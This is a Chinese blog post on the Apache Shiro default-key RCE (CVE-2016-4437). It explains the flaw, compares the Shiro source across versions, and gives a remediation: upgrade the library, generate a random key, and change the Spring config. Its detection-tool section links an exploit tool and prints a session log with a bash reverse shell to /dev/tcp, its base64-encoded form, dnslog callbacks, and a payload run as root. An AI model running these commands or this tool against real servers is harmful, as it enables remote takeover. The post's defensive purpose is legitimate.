当前位置:   article > 正文

Apache Shiro 默认密钥致命令执行漏洞(CVE-2016-4437)_apache shiro 默认密钥致命令执行漏洞(cve-2016-4437)

apache shiro 默认密钥致命令执行漏洞(cve-2016-4437)

目录

一.情况描述

1.漏洞描述

2.漏洞造成的影响

3.安全建议

4.技术参考

5.建设方案

6.漏洞证明

二.漏洞检测工具

1.下载地址

 2、操作命令

 3、实际操作

三.shiro源码分析

1.当shiro版本是1.2.4

2.当shiro版本是 >=1.2.5时

四.springmvc修改

1.修改pom.xml配置

2.增加一个自定义秘钥代码

3.修改shiro配置

4.修改完之后测试



后续:服务器因此中矿机xmrig的毒:https://blog.csdn.net/xixiyuguang/article/details/109844377

一.情况描述

1.漏洞描述

Apache Shiro是一个强大易用的Java安全框架,提供了认证、授权、加密和会话管理等功能。

2.漏洞造成的影响

在配置了默认密钥的情况下,攻击者可以通过精心构造的 Payload 实现远程命令执行,从而进一步获取服务器权限。

3.安全建议

升级shiro至最新版本1.7.0并生成新的密钥替换,注意妥善保管密钥,防止泄漏。利用官方提供的方法生成密钥:org.apache.shiro.crypto.AbstractSymmetricCipherService#generateNewKey()

4.技术参考

漏洞验证工具:https://github.com/wyzxxz/shiro_rce

0积分下载地址: https://download.csdn.net/download/xixiyuguang/13121484

5.建设方案

建议您立即组织技术力量全面排查网络系统安全隐患,及时整改修复,并开展以下安全建设,确保网络系统安全运行。

1、定期进行专业的安全评估。

2、针对安全评估结果协调开发团队或厂商进行有效的安全整改和修复。

3、配备专业的WEB应用防火墙,针对来自互联网的主流WEB应用安全攻击进行安全防护。

4、建立和完善一套有效的安全管理制度,对信息系统的日常维护和使用进行规范。

5、建立起一套完善有效的应急响应预案和流程,并定期进行应急演练,一旦发现发生任何异常状况可及时进行处理和恢复,有效避免网站业务中断带来损失。

6、定期对相关管理人员和技术人员进行安全培训,提高安全技术能力和实际操作能力。或使用阿里云安全渗透测试服务,有专人跟进帮你解决安全风险

 

6.漏洞证明

使用了Shiro框架,存在默认密钥:kPH+bIxk5D2deZiIxcaaaA==攻击者可利用漏洞远程执行任意命令入侵服务器。

 

二.漏洞检测工具

1.下载地址

https://xz.aliyun.com/forum/upload/affix/shiro_tool.zip  

 2、操作命令

  1. 2020-10-16
  2. 放出来一些功能:
  3. 1、spring/tomcat回显,执行命令的时候,x=whoami 就行
  4. 2、批量检测是否shiro, java -cp shiro_tool.jar shiro.Check http://url 或者 java -cp shiro_tool.jar shiro.Check urls=文件
  5. 3、目标服务器不出网的情况下探测
  6. 其他:
  7. 后面看情况再放出一些更通用的和内存shell
  8. 2020-08-21:
  9. 新增了cc8 cc9 cc10利用链
  10. 新增了输出payload模式,在执行命令的时候输入output=on即可。
  11. 参考下面的示例
  12. 2020-05-26:
  13. 原来的停止服务了,请下载最新版本。
  14. java -jar shiro_tool.jar https://xx.xx.xx.xx
  15. nocheck --> skip check target is shiro or not.
  16. key= --> set a shiro key.
  17. req= --> request body file 抓包保存到文件里,这里写文件名
  18. keys= --> keys file 自定义key的文件,key按行分割,即每行写一个
  19. [admin@ shiro]java -jar shiro_tool.jar https://xx.xx.xx.xx/
  20. [-] target: https://xx.xx.xx.xx/
  21. [-] target is use shiro
  22. [-] start guess shiro key.
  23. [-] shiro key: kPH+bIxk5D2deZiIxcaaaA==
  24. [-] check URLDNS
  25. [*] find: URLDNS can be use
  26. [-] check CommonsBeanutils1
  27. [*] find: CommonsBeanutils1 can be use
  28. [-] check CommonsCollections1
  29. [-] check CommonsCollections2
  30. [-] check CommonsCollections3
  31. [-] check CommonsCollections4
  32. [-] check CommonsCollections5
  33. [-] check CommonsCollections6
  34. [-] check CommonsCollections7
  35. [-] check CommonsCollections8
  36. [-] check CommonsCollections9
  37. [-] check CommonsCollections10
  38. [-] check Groovy1
  39. [*] find: Groovy1 can be use
  40. [-] check JSON1
  41. [*] find: JSON1 can be use
  42. [-] check Spring1
  43. [*] find: Spring1 can be use
  44. [-] check Spring2
  45. [-] check JRMPClient
  46. [*] find: JRMPClient can be use
  47. [*] JRMPClient please use: java -cp shiro_tool.jar ysoserial.exploit.JRMPListener
  48. 0: URLDNS
  49. 1: CommonsBeanutils1
  50. 2: Groovy1
  51. 3: JSON1
  52. 4: Spring1
  53. 5: JRMPClient
  54. [-] please enter the number(0-6)
  55. 3
  56. [-] use gadget: JSON1
  57. [*] command example: bash -i >& /dev/tcp/xx.xx.xx.xx/80 0>&1
  58. [*] command example: curl dnslog.xx.com
  59. [*] if need base64 command, input should startwith bash=/powershell=/python=/perl=
  60. [-] please enter command, input q or quit to quit
  61. > curl json.dnslog.xx.cn
  62. [-] start process command: curl json.dnslog.xx.cn
  63. [-] please enter command, input q or quit to quit
  64. > bash=bash -i >& /dev/tcp/xx.xx.xx.xx/80 0>&1
  65. [-] start process command: bash -c {echo,YmFzaD1iYXNoIC1pID4mIC9kZXYvdGNwL3h4Lnh4Lnh4Lnh4LzgwIDA+JjE=}|{base64,-d}|{bash,-i}
  66. [-] please enter command, input q or quit to quit
  67. > output=on
  68. [-] print payload mode on.
  69. [-] please enter command, enter q or quit to quit, enter back to re-choose gadget
  70. > whoami
  71. kPH+bIxk5D2deZiIxcaaaA== - CommonsBeanutils1 - zEC2T+ZP+ib2g+NLMrrU0LRsNu3lr7kjq
  72. 82987eI8FZxA8ckaX8LsMNHdParxVS9aYg0Oxl91WD5GztG6Dmg/QO/sjxi+kX/sFpHgqwtG4MCQoogH
  73. Jkhnj73PI6Wn8AJWQyXoOGNMkyboGcEm0Ti1h+WMGQEqw57tRl7Pjr0pMr2oZcUj9huwC/Lfr090FX7v
  74. rPrU5JnQm2Qo7ZrMPnxENXs0yMT6HfU75OejeF6kXbWTaGlvfByscF1ljoDR/k2txdQ1eK4nZ4ReOAqM
  75. uUeeaXwirEw2kg58GktvB2Ghw4egXJBQUdP3H8iE+zrkf12YlPs/RAOq8w0mWfvwB7EnCW3Z83YP8vV1
  76. +reLT9oNyUpCfjKyQVodnpZJY7If4F9al8He7E832RR3mhFvsjJDyNFTbB4TPrRqFDehSVuHib5qkh0s
  77. 0YjvCGErxDLH9pFS4G9rNYQeAnXBKeNzS5q2O0xCe5xg4X6l8R6XsU2/V1d6wd27U7u18+DJlo/v58vj
  78. SyUtUaEAAuMN9C30Rr+r7Tk9MVC55eS8l82fURpUwttcRADhJ0esKHAFFAkwnisbAb4Uugz3IADojYlH
  79. BNFtWFuV2dsuqkionEROKLIdVHJGR8URmk79v8lbLbpCWI3cTCf81SwwBoYylKXCyHX2X08VlEUvuHWk
  80. ypx9gVvDuQQQFTGP4ljwpU1NlQPqxaLXmnZ5TyJN2sycL9s8VWMYls4uFATtMkpXXcwaQGFVjCzFrABv
  81. [-] please enter command, enter q or quit to quit, enter back to re-choose gadget
  82. > x=whoami
  83. root
  84. [-] please enter command, enter q or quit to quit, enter back to re-choose gadget
  85. > quit
  86. [-] start process command: quit
  87. [-] quit

 3、实际操作

java -jar shiro_tool.jar https://xx.xx.xx.xx/      

 

 

三.shiro源码分析

1.当shiro版本是1.2.4

查看源码,源码中org.apache.shiro.mgt.AbstractRememberMeManager :其默认的秘钥为kPH+bIxk5D2deZiIxcaaaA==,这相当于shiro中如果没有配置秘钥,就会用这个,而这个秘钥又是众所周知的,所以系统很容易被绕过登录,直接进入后台

  private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

  1. package org.apache.shiro.mgt;
  2. public abstract class AbstractRememberMeManager implements RememberMeManager {
  3. /**
  4. * private inner log instance.
  5. */
  6. private static final Logger log = LoggerFactory.getLogger(AbstractRememberMeManager.class);
  7. /**
  8. * The following Base64 string was generated by auto-generating an AES Key:
  9. * <pre>
  10. * AesCipherService aes = new AesCipherService();
  11. * byte[] key = aes.generateNewKey().getEncoded();
  12. * String base64 = Base64.encodeToString(key);
  13. * </pre>
  14. * The value of 'base64' was copied-n-pasted here:
  15. */
  16. private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
  17. /**
  18. * Serializer to use for converting PrincipalCollection instances to/from byte arrays
  19. */
  20. private Serializer<PrincipalCollection> serializer;
  21. /**
  22. * Cipher to use for encrypting/decrypting serialized byte arrays for added security
  23. */
  24. private CipherService cipherService;
  25. /**
  26. * Cipher encryption key to use with the Cipher when encrypting data
  27. */
  28. private byte[] encryptionCipherKey;
  29. /**
  30. * Cipher decryption key to use with the Cipher when decrypting data
  31. */
  32. private byte[] decryptionCipherKey;
  33. /**
  34. * Default constructor that initializes a {@link DefaultSerializer} as the {@link #getSerializer() serializer} and
  35. * an {@link AesCipherService} as the {@link #getCipherService() cipherService}.
  36. */
  37. public AbstractRememberMeManager() {
  38. this.serializer = new DefaultSerializer<PrincipalCollection>();
  39. this.cipherService = new AesCipherService();
  40. setCipherKey(DEFAULT_CIPHER_KEY_BYTES);
  41. }
  42. 。。。。

2.当shiro版本是 >=1.2.5时

动态生成秘钥,注意这块代码

  AesCipherService cipherService = new AesCipherService();
        this.cipherService = cipherService;
        setCipherKey(cipherService.generateNewKey().getEncoded());

  1. package org.apache.shiro.mgt;
  2. public abstract class AbstractRememberMeManager implements RememberMeManager {
  3. /**
  4. * Cipher encryption key to use with the Cipher when encrypting data
  5. */
  6. private byte[] encryptionCipherKey;
  7. /**
  8. * Cipher decryption key to use with the Cipher when decrypting data
  9. */
  10. private byte[] decryptionCipherKey;
  11. /**
  12. * Default constructor that initializes a {@link DefaultSerializer} as the {@link #getSerializer() serializer} and
  13. * an {@link AesCipherService} as the {@link #getCipherService() cipherService}.
  14. */
  15. public AbstractRememberMeManager() {
  16. this.serializer = new DefaultSerializer<PrincipalCollection>();
  17. AesCipherService cipherService = new AesCipherService();
  18. this.cipherService = cipherService;
  19. setCipherKey(cipherService.generateNewKey().getEncoded());
  20. }
  21. public void setCipherKey(byte[] cipherKey) {
  22. //Since this method should only be used in symmetric ciphers
  23. //(where the enc and dec keys are the same), set it on both:
  24. setEncryptionCipherKey(cipherKey);
  25. setDecryptionCipherKey(cipherKey);
  26. }

 

四.springmvc修改

1.修改pom.xml配置

升级shiro版本1.7.0

  1. <!-- 升级shiro到1.2.5及以上 -->
  2. <shiro.version>1.7.0</shiro.version>
  3. <dependency>
  4. <groupId>org.apache.shiro</groupId>
  5. <artifactId>shiro-core</artifactId>
  6. <version>${shiro.version}</version>
  7. </dependency>
  8. <dependency>
  9. <groupId>org.apache.shiro</groupId>
  10. <artifactId>shiro-spring</artifactId>
  11. <version>${shiro.version}</version>
  12. </dependency>
  13. <dependency>
  14. <groupId>org.apache.shiro</groupId>
  15. <artifactId>shiro-cas</artifactId>
  16. <version>${shiro.version}</version>
  17. <exclusions>
  18. <exclusion>
  19. <groupId>commons-logging</groupId>
  20. <artifactId>commons-logging</artifactId>
  21. </exclusion>
  22. </exclusions>
  23. </dependency>
  24. <dependency>
  25. <groupId>org.apache.shiro</groupId>
  26. <artifactId>shiro-web</artifactId>
  27. <version>${shiro.version}</version>
  28. </dependency>
  29. <dependency>
  30. <groupId>org.apache.shiro</groupId>
  31. <artifactId>shiro-ehcache</artifactId>
  32. <version>${shiro.version}</version>
  33. </dependency>

2.增加一个自定义秘钥代码

参考官方的:org.apache.shiro.crypto.AbstractSymmetricCipherService#generateNewKey()

  1. import org.apache.shiro.codec.Base64;
  2. import org.apache.shiro.crypto.AbstractSymmetricCipherService;
  3. import org.aspectj.apache.bcel.generic.IINC;
  4. import javax.crypto.KeyGenerator;
  5. import javax.crypto.SecretKey;
  6. import java.security.Key;
  7. import java.security.NoSuchAlgorithmException;
  8. /**
  9. * shiro 秘钥生成器
  10. *
  11. * @author yuguang shiro有自己的随机生成秘钥的方法 秘钥生成器
  12. *
  13. *
  14. */
  15. public class MySymmetricCipherService extends AbstractSymmetricCipherService {
  16. protected MySymmetricCipherService(String algorithmName) {
  17. super(algorithmName);
  18. // TODO Auto-generated constructor stub
  19. }
  20. public static byte[] generateNewKeyFromSuper() {
  21. KeyGenerator kg;
  22. try {
  23. kg = KeyGenerator.getInstance("AES");
  24. } catch (NoSuchAlgorithmException var5) {
  25. String msg = "Unable to acquire AES algorithm. This is required to function.";
  26. throw new IllegalStateException(msg, var5);
  27. }
  28. kg.init(128);
  29. SecretKey key = kg.generateKey();
  30. byte[] encoded = key.getEncoded();
  31. return encoded;
  32. }
  33. /**
  34. * 使用shiro官方的生成
  35. * org.apache.shiro.crypto.AbstractSymmetricCipherService#generateNewKey()
  36. * @return
  37. */
  38. public static byte[] getCipherKey() {
  39. MySymmetricCipherService mySymmetricCipherService = new MySymmetricCipherService("AES");
  40. Key gKey = mySymmetricCipherService.generateNewKey();
  41. return gKey.getEncoded();
  42. }
  43. public static void main(String[] args) {
  44. MySymmetricCipherService mySymmetricCipherService = new MySymmetricCipherService("AES");
  45. Key gKey = mySymmetricCipherService.generateNewKey();
  46. System.out.println("key: " + gKey.getEncoded());
  47. System.out.println("key Base64.encodeToString: " + Base64.encodeToString(gKey.getEncoded()));
  48. byte[] decodeValue = org.apache.shiro.codec.Base64.decode("4AvVhmFLUs0KTA3Kprsdag==");
  49. System.out.println("decodeValue: " + decodeValue);
  50. }
  51. }

3.修改shiro配置

  1. <!-- 定义Shiro安全管理配置 -->
  2. <bean id="securityManager" class="org.apache.shiro.web.mgt.DefaultWebSecurityManager">
  3. <property name="realm" ref="systemAuthorizingRealm" />
  4. <property name="sessionManager" ref="sessionManager" />
  5. <property name="cacheManager" ref="shiroCacheManager" />
  6. <!-- 加入rememberMe的配置管理 -->
  7. <property name="rememberMeManager" ref="rememberMeManager" />
  8. </bean>
  9. <!-- rememberMe管理器 -->
  10. <bean id="rememberMeManager" class="org.apache.shiro.web.mgt.CookieRememberMeManager">
  11. <!-- <property name="cipherKey" value="#{T(org.apache.shiro.codec.Base64).decode('xxxxxxxxxxxx==')}" /> -->
  12. <property name="cipherKey" value="#{T(com.xxx.xxx.MySymmetricCipherService).getCipherKey()}" />
  13. <property name="cookie" ref="rememberMeCookie" />
  14. </bean>
  15. <!-- remenberMe配置 -->
  16. <bean id="rememberMeCookie" class="org.apache.shiro.web.servlet.SimpleCookie">
  17. <constructor-arg value="rememberMe" />
  18. <property name="httpOnly" value="true" />
  19. <!-- 默认记住7天(单位:秒) -->
  20. <property name="maxAge" value="604800" />
  21. </bean>

 

4.修改完之后测试

 

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/菜鸟追梦旅行/article/detail/570367
推荐阅读
相关标签
  

闽ICP备14008679号